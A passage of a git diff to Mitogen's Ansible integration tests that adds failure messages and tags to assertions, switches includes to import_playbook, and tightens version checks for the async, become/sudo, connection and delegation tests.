- + tags: + - remote_file_exists diff --git a/tests/ansible/integration/action/remove_tmp_path.yml b/tests/ansible/integration/action/remove_tmp_path.yml index 7a0c6c25..19ae22e3 100644 --- a/tests/ansible/integration/action/remove_tmp_path.yml +++ b/tests/ansible/integration/action/remove_tmp_path.yml @@ -23,6 +23,7 @@ - assert: that: - not out2.stat.exists + fail_msg: out={{out}} - stat: path: "{{out.src|dirname}}" @@ -31,7 +32,10 @@ - assert: that: - not out2.stat.exists + fail_msg: out={{out}} - file: path: /tmp/remove_tmp_path_test state: absent + tags: + - remove_tmp_path diff --git a/tests/ansible/integration/action/synchronize.yml b/tests/ansible/integration/action/synchronize.yml index 31cfe553..a6cd277e 100644 --- a/tests/ansible/integration/action/synchronize.yml +++ b/tests/ansible/integration/action/synchronize.yml @@ -60,6 +60,7 @@ - assert: that: outout == "item!" + fail_msg: outout={{outout}} when: False # TODO: https://github.com/dw/mitogen/issues/692 @@ -71,3 +72,5 @@ # - /tmp/synchronize-action-key # - /tmp/sync-test # - /tmp/sync-test.out + tags: + - synchronize diff --git a/tests/ansible/integration/action/transfer_data.yml b/tests/ansible/integration/action/transfer_data.yml index bbd39309..e0f42d0e 100644 --- a/tests/ansible/integration/action/transfer_data.yml +++ b/tests/ansible/integration/action/transfer_data.yml @@ -24,6 +24,7 @@ - assert: that: | out.content|b64decode == '{"I am JSON": true}' + fail_msg: out={{out}} # Ensure it handles strings. @@ -40,7 +41,10 @@ - assert: that: out.content|b64decode == 'I am text.' + fail_msg: out={{out}} - file: path: /tmp/transfer-data state: absent + tags: + - transfer_data diff --git a/tests/ansible/integration/all.yml b/tests/ansible/integration/all.yml index 8c059fc4..ac196584 100644 --- a/tests/ansible/integration/all.yml +++ b/tests/ansible/integration/all.yml @@ -3,21 +3,39 @@ # This playbook imports all tests that are known to work at present. # -- include: action/all.yml -- include: async/all.yml -- include: become/all.yml -- include: connection/all.yml -- include: connection_delegation/all.yml -- include: connection_loader/all.yml -- include: context_service/all.yml -- include: glibc_caches/all.yml -- include: interpreter_discovery/all.yml -- include: local/all.yml -- include: module_utils/all.yml -- include: playbook_semantics/all.yml -- include: process/all.yml -- include: runner/all.yml -- include: ssh/all.yml -- include: strategy/all.yml -- include: stub_connections/all.yml -- include: transport_config/all.yml +- import_playbook: action/all.yml + tags: action +- import_playbook: async/all.yml + tags: async +- import_playbook: become/all.yml + tags: become +- import_playbook: connection/all.yml + tags: connection +- import_playbook: connection_delegation/all.yml + tags: connection_delegation +- import_playbook: connection_loader/all.yml + tags: connection_loader +- import_playbook: context_service/all.yml + tags: context_service +- import_playbook: glibc_caches/all.yml + tags: glibc_caches +- import_playbook: interpreter_discovery/all.yml + tags: interpreter_discovery +- import_playbook: local/all.yml + tags: local +- import_playbook: module_utils/all.yml + tags: module_utils +- import_playbook: playbook_semantics/all.yml + tags: playbook_semantics +- import_playbook: process/all.yml + tags: process +- import_playbook: runner/all.yml + tags: runner +- import_playbook: ssh/all.yml + tags: ssh +- import_playbook: strategy/all.yml + tags: strategy +- import_playbook: stub_connections/all.yml + tags: stub_connections +- import_playbook: transport_config/all.yml + tags: transport_config diff --git a/tests/ansible/integration/async/all.yml b/tests/ansible/integration/async/all.yml index f14537ed..61d2d35c 100644 --- a/tests/ansible/integration/async/all.yml +++ b/tests/ansible/integration/async/all.yml @@ -1,9 +1,9 @@ -- include: multiple_items_loop.yml -- include: result_binary_producing_json.yml -- include: result_binary_producing_junk.yml -- include: result_shell_echo_hi.yml -- include: runner_new_process.yml -- include: runner_one_job.yml -- include: runner_timeout_then_polling.yml -- include: runner_two_simultaneous_jobs.yml -- include: runner_with_polling_and_timeout.yml +- import_playbook: multiple_items_loop.yml +- import_playbook: result_binary_producing_json.yml +- import_playbook: result_binary_producing_junk.yml +- import_playbook: result_shell_echo_hi.yml +- import_playbook: runner_new_process.yml +- import_playbook: runner_one_job.yml +- import_playbook: runner_timeout_then_polling.yml +- import_playbook: runner_two_simultaneous_jobs.yml +- import_playbook: runner_with_polling_and_timeout.yml diff --git a/tests/ansible/integration/async/multiple_items_loop.yml b/tests/ansible/integration/async/multiple_items_loop.yml index 9a9b1192..24d43083 100644 --- a/tests/ansible/integration/async/multiple_items_loop.yml +++ b/tests/ansible/integration/async/multiple_items_loop.yml @@ -34,3 +34,6 @@ - out.results[1].stdout == 'hi-from-job-2' - out.results[1].rc == 0 - out.results[1].delta > '0:00:05' + fail_msg: out={{out}} + tags: + - multiple_items_loop diff --git a/tests/ansible/integration/async/result_binary_producing_json.yml b/tests/ansible/integration/async/result_binary_producing_json.yml index f81d0bb2..b05b24bf 100644 --- a/tests/ansible/integration/async/result_binary_producing_json.yml +++ b/tests/ansible/integration/async/result_binary_producing_json.yml @@ -28,6 +28,7 @@ (job.started == 1) and (job.changed == True) and (job.finished == 0) + fail_msg: job={{job}} - name: busy-poll up to 100000 times async_status: @@ -51,5 +52,8 @@ - async_out.failed == False - async_out.msg == "Hello, world." - 'async_out.stderr == "binary_producing_json: oh noes\n"' + fail_msg: async_out={{async_out}} vars: async_out: "{{result.content|b64decode|from_json}}" + tags: + - result_binary_producing_json diff --git a/tests/ansible/integration/async/result_binary_producing_junk.yml b/tests/ansible/integration/async/result_binary_producing_junk.yml index 87877db7..afdf0c2f 100644 --- a/tests/ansible/integration/async/result_binary_producing_junk.yml +++ b/tests/ansible/integration/async/result_binary_producing_junk.yml @@ -39,5 +39,8 @@ - async_out.msg.startswith("Traceback") - '"ValueError: No start of json char found\n" in async_out.msg' - 'async_out.stderr == "binary_producing_junk: oh noes\n"' + fail_msg: async_out={{async_out}} vars: async_out: "{{result.content|b64decode|from_json}}" + tags: + - result_binary_producing_junk diff --git a/tests/ansible/integration/async/result_shell_echo_hi.yml b/tests/ansible/integration/async/result_shell_echo_hi.yml index e1068587..6eb31702 100644 --- a/tests/ansible/integration/async/result_shell_echo_hi.yml +++ b/tests/ansible/integration/async/result_shell_echo_hi.yml @@ -30,17 +30,25 @@ - async_out.invocation.module_args.creates == None - async_out.invocation.module_args.executable == None - async_out.invocation.module_args.removes == None - - async_out.invocation.module_args.warn == True + # In Ansible 4 (ansible-core 2.11) the warn parameter is deprecated and defaults to false. + # It's scheduled for removal in ansible-core 2.13. + - (ansible_version.full is version("2.11", "<", strict=True) and async_out.invocation.module_args.warn == True) + or (ansible_version.full is version("2.11", ">=", strict=True) and async_out.invocation.module_args.warn == False) - async_out.rc == 0 - async_out.start.startswith("20") - async_out.stderr == "there" - async_out.stdout == "hi" + fail_msg: async_out={{async_out}} vars: async_out: "{{result.content|b64decode|from_json}}" - assert: that: - async_out.invocation.module_args.stdin == None - when: ansible_version.full > '2.4' + fail_msg: async_out={{async_out}} + when: + - ansible_version.full is version('2.4', '>=', strict=True) vars: async_out: "{{result.content|b64decode|from_json}}" + tags: + - result_shell_echo_hi diff --git a/tests/ansible/integration/async/runner_new_process.yml b/tests/ansible/integration/async/runner_new_process.yml index 7b0bf628..fbc7261f 100644 --- a/tests/ansible/integration/async/runner_new_process.yml +++ b/tests/ansible/integration/async/runner_new_process.yml @@ -16,6 +16,7 @@ - assert: that: - sync_proc1.pid == sync_proc2.pid + fail_msg: sync_proc1={{sync_proc1}} sync_proc2={{sync_proc2}} when: is_mitogen - name: get async process ID. @@ -48,7 +49,11 @@ - assert: that: + # FIXME should this be async_proc1, and async_proc2? - sync_proc1.pid == sync_proc2.pid - async_result1.pid != sync_proc1.pid - async_result1.pid != async_result2.pid + fail_msg: async_result1={{async_result1}} async_result2={{async_result2}} when: is_mitogen + tags: + - runner_new_process diff --git a/tests/ansible/integration/async/runner_one_job.yml b/tests/ansible/integration/async/runner_one_job.yml index bea6ed9c..15e02efa 100644 --- a/tests/ansible/integration/async/runner_one_job.yml +++ b/tests/ansible/integration/async/runner_one_job.yml @@ -24,6 +24,7 @@ (job1.started == 1) and (job1.changed == True) and (job1.finished == 0) + fail_msg: job1={{job1}} - name: busy-poll up to 100000 times async_status: @@ -40,14 +41,15 @@ - result1.changed == True # ansible/b72e989e1837ccad8dcdc926c43ccbc4d8cdfe44 - | - (ansible_version.full is version('2.8', ">=") and + (ansible_version.full is version('2.8', ">=", strict=True) and result1.cmd == "echo alldone;\nsleep 1;\n") or - (ansible_version.full is version('2.8', '<') and + (ansible_version.full is version('2.8', '<', strict=True) and result1.cmd == "echo alldone;\n sleep 1;") - result1.delta|length == 14 - result1.start|length == 26 - result1.finished == 1 - result1.rc == 0 + fail_msg: result1={{result1}} - assert: that: @@ -55,9 +57,15 @@ - result1.stderr_lines == [] - result1.stdout == "alldone" - result1.stdout_lines == ["alldone"] - when: ansible_version.full is version('2.8', '>') # ansible#51393 + fail_msg: result1={{result1}} + when: + - ansible_version.full is version('2.8', '>', strict=True) # ansible#51393 - assert: that: - result1.failed == False - when: ansible_version.full is version('2.4', '>') + fail_msg: result1={{result1}} + when: + - ansible_version.full is version('2.4', '>', strict=True) + tags: + - runner_one_job diff --git a/tests/ansible/integration/async/runner_timeout_then_polling.yml b/tests/ansible/integration/async/runner_timeout_then_polling.yml index 5490e711..6fc46ba7 100644 --- a/tests/ansible/integration/async/runner_timeout_then_polling.yml +++ b/tests/ansible/integration/async/runner_timeout_then_polling.yml @@ -31,4 +31,7 @@ - result.failed == 1 - result.finished == 1 - result.msg == "Job reached maximum time limit of 1 seconds." + fail_msg: result={{result}} when: is_mitogen + tags: + - runner_timeout_then_polling diff --git a/tests/ansible/integration/async/runner_two_simultaneous_jobs.yml b/tests/ansible/integration/async/runner_two_simultaneous_jobs.yml index fdde0463..6eda88aa 100644 --- a/tests/ansible/integration/async/runner_two_simultaneous_jobs.yml +++ b/tests/ansible/integration/async/runner_two_simultaneous_jobs.yml @@ -56,8 +56,13 @@ that: - result1.rc == 0 - result2.rc == 0 + fail_msg: result1={{result1}} result2={{result2}} - assert: that: - result2.stdout == 'im_alive' - when: ansible_version.full > '2.8' # ansible#51393 + fail_msg: result2={{result2}} + when: + - ansible_version.full is version('2.8', '>=', strict=True) # ansible#51393 + tags: + - runner_two_simultaneous_jobs diff --git a/tests/ansible/integration/async/runner_with_polling_and_timeout.yml b/tests/ansible/integration/async/runner_with_polling_and_timeout.yml index dcfa186f..a5cbabef 100644 --- a/tests/ansible/integration/async/runner_with_polling_and_timeout.yml +++ b/tests/ansible/integration/async/runner_with_polling_and_timeout.yml @@ -22,4 +22,6 @@ job1.msg == "async task did not complete within the requested time" or job1.msg == "async task did not complete within the requested time - 1s" or job1.msg == "Job reached maximum time limit of 1 seconds." - + fail_msg: job1={{job1}} + tags: + - runner_with_polling_and_timeout diff --git a/tests/ansible/integration/become/all.yml b/tests/ansible/integration/become/all.yml index 5fa030d1..c9c331dd 100644 --- a/tests/ansible/integration/become/all.yml +++ b/tests/ansible/integration/become/all.yml @@ -1,7 +1,7 @@ -- include: su_password.yml -- include: sudo_flags_failure.yml -- include: sudo_nonexistent.yml -- include: sudo_nopassword.yml -- include: sudo_password.yml -- include: sudo_requiretty.yml +- import_playbook: su_password.yml +- import_playbook: sudo_flags_failure.yml +- import_playbook: sudo_nonexistent.yml +- import_playbook: sudo_nopassword.yml +- import_playbook: sudo_password.yml +- import_playbook: sudo_requiretty.yml diff --git a/tests/ansible/integration/become/su_password.yml b/tests/ansible/integration/become/su_password.yml index f6eb0b47..7bd6db5a 100644 --- a/tests/ansible/integration/become/su_password.yml +++ b/tests/ansible/integration/become/su_password.yml @@ -22,6 +22,7 @@ ('password is required' in out.msg) or ('password is required' in out.module_stderr) ) + fail_msg: out={{out}} when: is_mitogen @@ -41,6 +42,7 @@ ('Incorrect su password' in out.msg) or ('su password is incorrect' in out.msg) ) + fail_msg: out={{out}} when: is_mitogen - name: Ensure password su succeeds. @@ -55,4 +57,8 @@ - assert: that: - out.stdout == 'mitogen__user1' + fail_msg: out={{out}} when: is_mitogen + tags: + - su + - su_password diff --git a/tests/ansible/integration/become/sudo_flags_failure.yml b/tests/ansible/integration/become/sudo_flags_failure.yml index 39fbb4b8..fdbb712c 100644 --- a/tests/ansible/integration/become/sudo_flags_failure.yml +++ b/tests/ansible/integration/become/sudo_flags_failure.yml @@ -15,8 +15,13 @@ assert: that: - out.failed - - | - ('sudo: no such option: --derps' in out.msg) or - ("sudo: invalid option -- '-'" in out.module_stderr) or - ("sudo: unrecognized option `--derps'" in out.module_stderr) or - ("sudo: unrecognized option '--derps'" in out.module_stderr) + - >- + 'sudo: no such option: --derps' in out.msg + or out.module_stdout is match("sudo: invalid option -- '-'") + or out.module_stderr is match("sudo: invalid option -- '-'") + or out.module_stdout is match("sudo: unrecognized option [`']--derps'") + or out.module_stderr is match("sudo: unrecognized option [`']--derps'") + fail_msg: out={{out}} + tags: + - sudo + - sudo_flags_failure diff --git a/tests/ansible/integration/become/sudo_nonexistent.yml b/tests/ansible/integration/become/sudo_nonexistent.yml index ccb94e34..bc3de7b8 100644 --- a/tests/ansible/integration/become/sudo_nonexistent.yml +++ b/tests/ansible/integration/become/sudo_nonexistent.yml @@ -9,11 +9,28 @@ become_user: slartibartfast ignore_errors: true register: out + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - name: Verify raw module output. assert: - that: | - out.failed and ( - ('sudo: unknown user: slartibartfast' in out.msg) or - ('sudo: unknown user: slartibartfast' in out.module_stderr) - ) + that: + - out.failed + # sudo-1.8.6p3-29.el6_10.3 on RHEL & CentOS 6.10 (final release) + # removed user/group error messages, as defence against CVE-2019-14287. + - >- + 'sudo: unknown user: slartibartfast' in out.module_stdout | default(out.msg) + or 'sudo: unknown user: slartibartfast' in out.module_stderr | default(out.msg) + or (ansible_facts.os_family == 'RedHat' and ansible_facts.distribution_version == '6.10') + fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen + tags: + - sudo + - sudo_nonexistent diff --git a/tests/ansible/integration/become/sudo_nopassword.yml b/tests/ansible/integration/become/sudo_nopassword.yml index 03644423..110c95b4 100644 --- a/tests/ansible/integration/become/sudo_nopassword.yml +++ b/tests/ansible/integration/become/sudo_nopassword.yml @@ -1,6 +1,6 @@ # Verify passwordless sudo behaviour in various cases. -- name: integration/become/sudo_basic.yml +- name: integration/become/sudo_nopassword.yml hosts: test-targets any_errors_fatal: true tasks: @@ -12,6 +12,7 @@ - assert: that: - out.stdout != 'root' + fail_msg: out={{out}} - name: Ensure passwordless sudo to root succeeds. shell: whoami @@ -22,3 +23,7 @@ - assert: that: - out.stdout == 'root' + fail_msg: out={{out}} + tags: + - sudo + - sudo_nopassword diff --git a/tests/ansible/integration/become/sudo_password.yml b/tests/ansible/integration/become/sudo_password.yml index 145c8d69..a0a1dec9 100644 --- a/tests/ansible/integration/become/sudo_password.yml +++ b/tests/ansible/integration/become/sudo_password.yml @@ -11,6 +11,11 @@ become_user: mitogen__pw_required register: out ignore_errors: true + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - assert: that: | @@ -19,6 +24,12 @@ ('Missing sudo password' in out.msg) or ('password is required' in out.module_stderr) ) + fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - name: Ensure password sudo incorrect. shell: whoami @@ -28,6 +39,11 @@ vars: ansible_become_pass: nopes ignore_errors: true + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - assert: that: | @@ -35,6 +51,12 @@ ('Incorrect sudo password' in out.msg) or ('sudo password is incorrect' in out.msg) ) + fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen # TODO: https://github.com/dw/mitogen/issues/692 # - name: Ensure password sudo succeeds. @@ -48,3 +70,6 @@ # - assert: # that: # - out.stdout == 'mitogen__pw_required' + tags: + - sudo + - sudo_password diff --git a/tests/ansible/integration/become/sudo_requiretty.yml b/tests/ansible/integration/become/sudo_requiretty.yml index dd62d9a0..0bdfaa26 100644 --- a/tests/ansible/integration/become/sudo_requiretty.yml +++ b/tests/ansible/integration/become/sudo_requiretty.yml @@ -35,3 +35,6 @@ # that: # - out.stdout == 'mitogen__require_tty_pw_required' # when: is_mitogen + tags: + - sudo + - sudo_requiretty diff --git a/tests/ansible/integration/connection/_put_file.yml b/tests/ansible/integration/connection/_put_file.yml index 5b661d9f..3092e199 100644 --- a/tests/ansible/integration/connection/_put_file.yml +++ b/tests/ansible/integration/connection/_put_file.yml @@ -21,3 +21,4 @@ - original.stat.checksum == copied.stat.checksum # Upstream does not preserve timestamps at al. #- (not is_mitogen) or (original.stat.mtime|int == copied.stat.mtime|int) + fail_msg: original={{original}} copied={{copied}} diff --git a/tests/ansible/integration/connection/all.yml b/tests/ansible/integration/connection/all.yml index 348857f5..b707b0eb 100644 --- a/tests/ansible/integration/connection/all.yml +++ b/tests/ansible/integration/connection/all.yml @@ -1,11 +1,11 @@ --- -- include: become_same_user.yml -- include: disconnect_during_module.yml -- include: disconnect_resets_connection.yml -- include: exec_command.yml -- include: home_dir.yml -- include: put_large_file.yml -- include: put_small_file.yml -- include: reset.yml -- include: reset_become.yml +- import_playbook: become_same_user.yml +- import_playbook: disconnect_during_module.yml +- import_playbook: disconnect_resets_connection.yml +- import_playbook: exec_command.yml +- import_playbook: home_dir.yml +- import_playbook: put_large_file.yml +- import_playbook: put_small_file.yml +- import_playbook: reset.yml +- import_playbook: reset_become.yml diff --git a/tests/ansible/integration/connection/become_same_user.yml b/tests/ansible/integration/connection/become_same_user.yml index d73eca86..9f720e5c 100644 --- a/tests/ansible/integration/connection/become_same_user.yml +++ b/tests/ansible/integration/connection/become_same_user.yml @@ -19,6 +19,7 @@ - out.result[0].method == "ssh" - out.result[0].kwargs.username == "joe" - out.result|length == 1 # no sudo + fail_msg: out={{out}} when: is_mitogen @@ -36,4 +37,7 @@ - out.result[1].method == "sudo" - out.result[1].kwargs.username == "james" - out.result|length == 2 # no sudo + fail_msg: out={{out}} when: is_mitogen + tags: + - become_same_user diff --git a/tests/ansible/integration/connection/disconnect_during_module.yml b/tests/ansible/integration/connection/disconnect_during_module.yml index e628e68e..1c7b544a 100644 --- a/tests/ansible/integration/connection/disconnect_during_module.yml +++ b/tests/ansible/integration/connection/disconnect_during_module.yml @@ -25,3 +25,7 @@ that: - out.rc == 4 - "'Mitogen was disconnected from the remote environment while a call was in-progress.' in out.stdout" + fail_msg: out={{out}} + tags: + - disconnect + - disconnect_during_module diff --git a/tests/ansible/integration/connection/disconnect_resets_connection.yml b/tests/ansible/integration/connection/disconnect_resets_connection.yml index 5f02a8d5..3a6f712a 100644 --- a/tests/ansible/integration/connection/disconnect_resets_connection.yml +++ b/tests/ansible/integration/connection/disconnect_resets_connection.yml @@ -45,3 +45,6 @@ except AnsibleConnectionFailure: e = sys.exc_info()[1] assert str(e).startswith('Mitogen was disconnected') + tags: + - disconnect + - disconnect_resets_connection diff --git a/tests/ansible/integration/connection/exec_command.yml b/tests/ansible/integration/connection/exec_command.yml index 105505d1..125def1b 100644 --- a/tests/ansible/integration/connection/exec_command.yml +++ b/tests/ansible/integration/connection/exec_command.yml @@ -17,3 +17,6 @@ - out.result[0] == 0 - out.result[1].decode() == "hello, world\r\n" - out.result[2].decode().startswith("Shared connection to ") + fail_msg: out={{out}} + tags: + - exec_command diff --git a/tests/ansible/integration/connection/home_dir.yml b/tests/ansible/integration/connection/home_dir.yml index 10154450..1dbaa5d3 100644 --- a/tests/ansible/integration/connection/home_dir.yml +++ b/tests/ansible/integration/connection/home_dir.yml @@ -37,3 +37,5 @@ "homedir from facts": "{{root_facts.ansible_facts.ansible_user_dir}}" } when: is_mitogen + tags: + - home_dir diff --git a/tests/ansible/integration/connection/put_large_file.yml b/tests/ansible/integration/connection/put_large_file.yml index 392731df..90a13999 100644 --- a/tests/ansible/integration/connection/put_large_file.yml +++ b/tests/ansible/integration/connection/put_large_file.yml @@ -10,3 +10,6 @@ file_size: 512 tasks: - include: _put_file.yml + tags: + - put_file + - put_large_file diff --git a/tests/ansible/integration/connection/put_small_file.yml b/tests/ansible/integration/connection/put_small_file.yml index d9423f75..49be87a9 100644 --- a/tests/ansible/integration/connection/put_small_file.yml +++ b/tests/ansible/integration/connection/put_small_file.yml @@ -10,3 +10,6 @@ file_size: 123 tasks: - include: _put_file.yml + tags: + - put_file + - put_small_file diff --git a/tests/ansible/integration/connection/reset.yml b/tests/ansible/integration/connection/reset.yml index 768cd2d5..1ee38817 100644 --- a/tests/ansible/integration/connection/reset.yml +++ b/tests/ansible/integration/connection/reset.yml @@ -10,10 +10,12 @@ when: not is_mitogen - debug: msg="reset.yml skipped on Ansible<2.5.6" - when: ansible_version.full < '2.5.6' + when: + - ansible_version.full is version('2.5.6', '<', strict=True) - meta: end_play - when: ansible_version.full < '2.5.6' + when: + - ansible_version.full is version('2.5.6', '<', strict=True) - custom_python_detect_environment: register: out @@ -43,3 +45,6 @@ # sudo PID has changed. - out_become.ppid != out_become2.ppid + fail_msg: out={{out}} out2={{out2}} out_become={{out_become}} out_become2={{out_become2}} + tags: + - reset diff --git a/tests/ansible/integration/connection/reset_become.yml b/tests/ansible/integration/connection/reset_become.yml index 5a411e82..a36cbf1a 100644 --- a/tests/ansible/integration/connection/reset_become.yml +++ b/tests/ansible/integration/connection/reset_become.yml @@ -6,10 +6,12 @@ gather_facts: false tasks: - debug: msg="reset_become.yml skipped on Ansible<2.5.6" - when: ansible_version.full < '2.5.6' + when: + - ansible_version.full is version('2.5.6', '<', strict=True) - meta: end_play - when: ansible_version.full < '2.5.6' + when: + - ansible_version.full is version('2.5.6', '<', strict=True) - name: save pid of the become acct custom_python_detect_environment: @@ -24,6 +26,7 @@ assert: that: - become_acct.pid != login_acct.pid + fail_msg: become_acct={{become_acct}} login_acct={{login_acct}} - name: reset the connection meta: reset_connection @@ -36,6 +39,7 @@ assert: that: - become_acct.pid != new_become_acct.pid + fail_msg: become_acct={{become_acct}} new_become_acct={{new_become_acct}} - name: save new pid of login acct become: false @@ -46,3 +50,6 @@ assert: that: - login_acct.pid != new_login_acct.pid + fail_msg: login_acct={{login_acct}} new_login_acct={{new_login_acct}} + tags: + - reset_become diff --git a/tests/ansible/integration/connection_delegation/all.yml b/tests/ansible/integration/connection_delegation/all.yml index c9b09687..8d5ffe03 100644 --- a/tests/ansible/integration/connection_delegation/all.yml +++ b/tests/ansible/integration/connection_delegation/all.yml @@ -1,5 +1,5 @@ -- include: delegate_to_template.yml -- include: local_action.yml -- include: osa_container_standalone.yml -- include: osa_delegate_to_self.yml -- include: stack_construction.yml +- import_playbook: delegate_to_template.yml +- import_playbook: local_action.yml +- import_playbook: osa_container_standalone.yml +- import_playbook: osa_delegate_to_self.yml +- import_playbook: stack_construction.yml diff --git a/tests/ansible/integration/connection_delegation/delegate_to_template.yml b/tests/ansible/integration/connection_delegation/delegate_to_template.yml index bfde1265..be083ff9 100644 --- a/tests/ansible/integration/connection_delegation/delegate_to_template.yml +++ b/tests/ansible/integration/connection_delegation/delegate_to_template.yml @@ -20,7 +20,8 @@ when: not is_mitogen - meta: end_play - when: ansible_version.full < '2.4' + when: + - ansible_version.full is version('2.4', '<', strict=True) - mitogen_get_stack: delegate_to: "{{ physical_host }}" @@ -90,3 +91,5 @@ 'method': 'ssh', } ] + tags: + - delegate_to_template diff --git a/tests/ansible/integration/connection_delegation/local_action.yml b/tests/ansible/integration/connection_delegation/local_action.yml index 05fc3db9..1c9a25ac 100644 --- a/tests/ansible/integration/connection_delegation/local_action.yml +++ b/tests/ansible/integration/connection_delegation/local_action.yml @@ -33,3 +33,5 @@ 'method': 'sudo', } ] + tags: + - local_action diff --git a/tests/ansible/integration/connection_delegation/osa_container_standalone.yml b/tests/ansible/integration/connection_delegation/osa_container_standalone.yml index cf5eceaa..249ab31a 100644 --- a/tests/ansible/integration/connection_delegation/osa_container_standalone.yml +++ b/tests/ansible/integration/connection_delegation/osa_container_standalone.yml @@ -27,3 +27,6 @@ 'method': 'setns', }, ] + tags: + - osa + - osa_container_standalone diff --git a/tests/ansible/integration/connection_delegation/osa_delegate_to_self.yml b/tests/ansible/integration/connection_delegation/osa_delegate_to_self.yml index 4a1fa681..4598e989 100644 --- a/tests/ansible/integration/connection_delegation/osa_delegate_to_self.yml +++ b/tests/ansible/integration/connection_delegation/osa_delegate_to_self.yml @@ -30,3 +30,6 @@ 'method': 'setns', }, ] + tags: + - osa + - osa_delegate_to_self diff --git a/tests/ansible/integration/connection_delegation/stack_construction.yml b/tests/ansible/integration/connection_delegation/stack_construction.yml index ed298599..ebf0f54f 100644 --- a/tests/ansible/integration/connection_delegation/stack_construction.yml +++ b/tests/ansible/integration/connection_delegation/stack_construction.yml @@ -25,6 +25,8 @@ # used later for local_action test. - local_action: custom_python_detect_environment register: local_env + tags: + - stack_construction - hosts: cd-normal @@ -50,6 +52,8 @@ "method": "doas", } ] + tags: + - stack_construction - hosts: cd-normal @@ -94,6 +98,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-alias @@ -137,6 +143,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-normal-normal @@ -191,6 +199,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-normal-alias @@ -264,6 +274,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-newuser-normal-normal @@ -318,6 +330,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-newuser-normal-normal @@ -362,6 +376,8 @@ 'method': 'ssh', }, ] + tags: + - stack_construction - hosts: cd-newuser-normal-normal @@ -381,6 +397,8 @@ 'method': 'local', }, ] + tags: + - stack_construction - hosts: cd-newuser-doas-normal @@ -416,3 +434,5 @@ 'method': 'doas', }, ] + tags: + - stack_construction diff --git a/tests/ansible/integration/connection_loader/all.yml b/tests/ansible/integration/connection_loader/all.yml index 76ffe8f4..7a44bb2f 100644 --- a/tests/ansible/integration/connection_loader/all.yml +++ b/tests/ansible/integration/connection_loader/all.yml @@ -1,3 +1,3 @@ -- include: local_blemished.yml -- include: paramiko_unblemished.yml -- include: ssh_blemished.yml +- import_playbook: local_blemished.yml +- import_playbook: paramiko_unblemished.yml +- import_playbook: ssh_blemished.yml diff --git a/tests/ansible/integration/connection_loader/local_blemished.yml b/tests/ansible/integration/connection_loader/local_blemished.yml index d0fcabba..85224dbf 100644 --- a/tests/ansible/integration/connection_loader/local_blemished.yml +++ b/tests/ansible/integration/connection_loader/local_blemished.yml @@ -12,3 +12,7 @@ - assert: that: (not not out.mitogen_loaded) == (not not is_mitogen) + fail_msg: out={{out}} + tags: + - local + - local_blemished diff --git a/tests/ansible/integration/connection_loader/paramiko_unblemished.yml b/tests/ansible/integration/connection_loader/paramiko_unblemished.yml index a48bd3ca..1bc5e2f6 100644 --- a/tests/ansible/integration/connection_loader/paramiko_unblemished.yml +++ b/tests/ansible/integration/connection_loader/paramiko_unblemished.yml @@ -15,4 +15,8 @@ - assert: that: not out.mitogen_loaded + fail_msg: out={{out}} when: False + tags: + - paramiko + - paramiko_unblemished diff --git a/tests/ansible/integration/connection_loader/ssh_blemished.yml b/tests/ansible/integration/connection_loader/ssh_blemished.yml index 04ada1e3..58d35cee 100644 --- a/tests/ansible/integration/connection_loader/ssh_blemished.yml +++ b/tests/ansible/integration/connection_loader/ssh_blemished.yml @@ -12,3 +12,7 @@ - assert: that: (not not out.mitogen_loaded) == (not not is_mitogen) + fail_msg: out={{out}} + tags: + - ssh + - ssh_blemished diff --git a/tests/ansible/integration/context_service/all.yml b/tests/ansible/integration/context_service/all.yml index 7770629a..edcf8eff 100644 --- a/tests/ansible/integration/context_service/all.yml +++ b/tests/ansible/integration/context_service/all.yml @@ -1,4 +1,4 @@ -- include: disconnect_cleanup.yml -- include: lru_one_target.yml -- include: reconnection.yml -- include: remote_name.yml +- import_playbook: disconnect_cleanup.yml +- import_playbook: lru_one_target.yml +- import_playbook: reconnection.yml +- import_playbook: remote_name.yml diff --git a/tests/ansible/integration/context_service/disconnect_cleanup.yml b/tests/ansible/integration/context_service/disconnect_cleanup.yml index d7345932..48304120 100644 --- a/tests/ansible/integration/context_service/disconnect_cleanup.yml +++ b/tests/ansible/integration/context_service/disconnect_cleanup.yml @@ -9,7 +9,8 @@ when: not is_mitogen - meta: end_play - when: ansible_version.full < '2.5.6' + when: + - ansible_version.full is version('2.5.6', '<', strict=True) # Start with a clean slate. - mitogen_shutdown_all: @@ -48,3 +49,5 @@ # - assert: # that: out.dump|length == play_hosts|length # just the ssh account + tags: + - disconnect_cleanup diff --git a/tests/ansible/integration/context_service/lru_one_target.yml b/tests/ansible/integration/context_service/lru_one_target.yml index 4ab5e134..2d6dc6cf 100644 --- a/tests/ansible/integration/context_service/lru_one_target.yml +++ b/tests/ansible/integration/context_service/lru_one_target.yml @@ -40,3 +40,5 @@ # that: # - first_run.results[-1].pid != second_run.results[-1].pid # when: is_mitogen + tags: + - lru_one_target diff --git a/tests/ansible/integration/context_service/reconnection.yml b/tests/ansible/integration/context_service/reconnection.yml index eed1dfdb..2d7dbacf 100644 --- a/tests/ansible/integration/context_service/reconnection.yml +++ b/tests/ansible/integration/context_service/reconnection.yml @@ -31,3 +31,6 @@ - assert: that: - old_become_env.pid != new_become_env.pid + fail_msg: old_become_env={{old_become_env}} 